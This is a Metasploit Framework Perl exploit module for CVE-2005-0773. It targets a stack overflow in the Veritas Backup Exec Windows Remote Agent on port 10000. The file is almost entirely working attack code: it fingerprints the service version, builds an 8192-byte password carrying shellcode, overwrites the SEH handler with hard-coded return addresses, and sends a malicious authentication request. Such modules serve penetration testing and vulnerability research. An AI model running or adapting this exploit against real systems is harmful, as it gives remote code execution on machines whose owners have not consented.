##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::backupexec_agent;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'Veritas Backup Exec Windows Remote Agent Overflow',
'Version' => '$Revision: 1.7 $',
'Authors' => [ 'Thor Doomen <syscall [at] hushmail.com>' ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],
'Priv' => 1,

'AutoOpts' => { 'EXITFUNC' => 'process' },

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 10000],
},

'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'Keys' => ['+ws2ord'],
'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the Veritas BackupExec Windows
Agent software. This vulnerability occurs when a client authentication request
is received with type '3' and a long password argument. Reliable execution is 
obtained by abusing the stack overflow to smash a SEH pointer.
}),

'Refs' =>
[
['CVE', '2005-0773' ],
['URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities'],
['URL', 'http://seer.support.veritas.com/docs/276604.htm' ],
],

'DefaultTarget' => 0,
'Targets' =>
[
['Veritas BE 9.0/9.1/10.0 (All Windows)', 0x0140f8d5, 0x014261b0 ],
['Veritas BE 9.0/9.1/10.0 (Windows 2000)', 0x75022ac4, 0x75022ac4 ],
],

'Keys' => ['veritas'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

# Version 4.2 -> 9.1
# Version 5.1 -> 10.0
sub Check {
my $self = shift;
my ($vend, $prod, $vers) = $self->GetVersion;

if (! $vend) {
$self->PrintLine("[*] Could not determine the version number");
return $self->CheckCode('Unknown');
}

$self->PrintLine("[*] $prod Version $vers ($vend)");
return $self->CheckCode('Detected');
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

$self->PrintLine( "[*] Attempting to exploit " . $target->[0] );

my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);

if ( $s->IsError ) {
$self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
return;
}

my $res = $s->Recv(4, 5);
$res = $s->Recv(unpack('N', $res) - 0x80000000, 5);

my $username = "X" x 512;
my $password = Pex::Text::PatternCreate(8192);

# Place our payload early in the request and jump backwards into it
substr($password, 3536-length($shellcode), length($shellcode), $shellcode);

# This offset is required for version 10.0
substr($password, 3536, 2, "\xeb\x06");
substr($password, 3540, 4, pack('V', $target->[2]) );
substr($password, 3544, 5, "\xe9" . pack('V', -1037));

# This offset is required for version 9.0/9.1
substr($password, 4524, 2, "\xeb\x06");
substr($password, 4528, 4, pack('V', $target->[1]) );
substr($password, 4532, 5, "\xe9" . pack('V', -2025));

my $conn_auth =
pack('N', 1). # Sequence number
pack('N', time()). # Current time
pack('N', 0). # Message type (request)
pack('N', 0x901). # Message name (connect_client_auth)
pack('N', 0). # Reply sequence number
pack('N', 0). # Error status
pack('N', 3). # Authentication type
pack('N', length($username)).
$username.
pack('N', length($password)).
$password.
pack('N', 4);

$self->PrintLine( "[*] Sending authentication request of " . length($conn_auth) . " 
bytes..." );
$s->Send(pack('N', 0x80000000 + length($conn_auth)) . $conn_auth);

return;
}

sub GetVersion {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');

my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);

if ( $s->IsError ) {
$self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
return undef;
}

my $res = $s->Recv(4, 5);
return undef if ! $res;
$res = $s->Recv(unpack('N', $res) - 0x80000000, 5);

my $serv_info =
pack('N', 1). # Sequence number
pack('N', time()). # Current time
pack('N', 0). # Message type (request)
pack('N', 0x108). # Message name (connect_client_auth)
pack('N', 0). # Reply sequence number
pack('N', 0); # Error status

$s->Send(pack('N', 0x80000000 + length($serv_info)) . $serv_info);
$res = $s->Recv(4, 5);
return undef if ! $res;

$res = $s->Recv(unpack('N', $res) - 0x80000000, 5);
$s->Close;

# Skip past the protocols headers
$res = substr($res, 28);

# Vendor
my $vend_len = unpack('N', substr($res, 0, 4));
my $vend = substr($res, 4, $vend_len);
$res = substr($res, 4 + $vend_len + 1);

# Product
my $prod_len = unpack('N', substr($res, 0, 4));
my $prod = substr($res, 4, $prod_len);
$res = substr($res, 4 + $prod_len + 1);

# Version
my $vers_len = unpack('N', substr($res, 0, 4));
my $vers = substr($res, 4, $vers_len);
$res = substr($res, 4 + $vers_len + 1);

return ($vend, $prod, $vers);
}

1;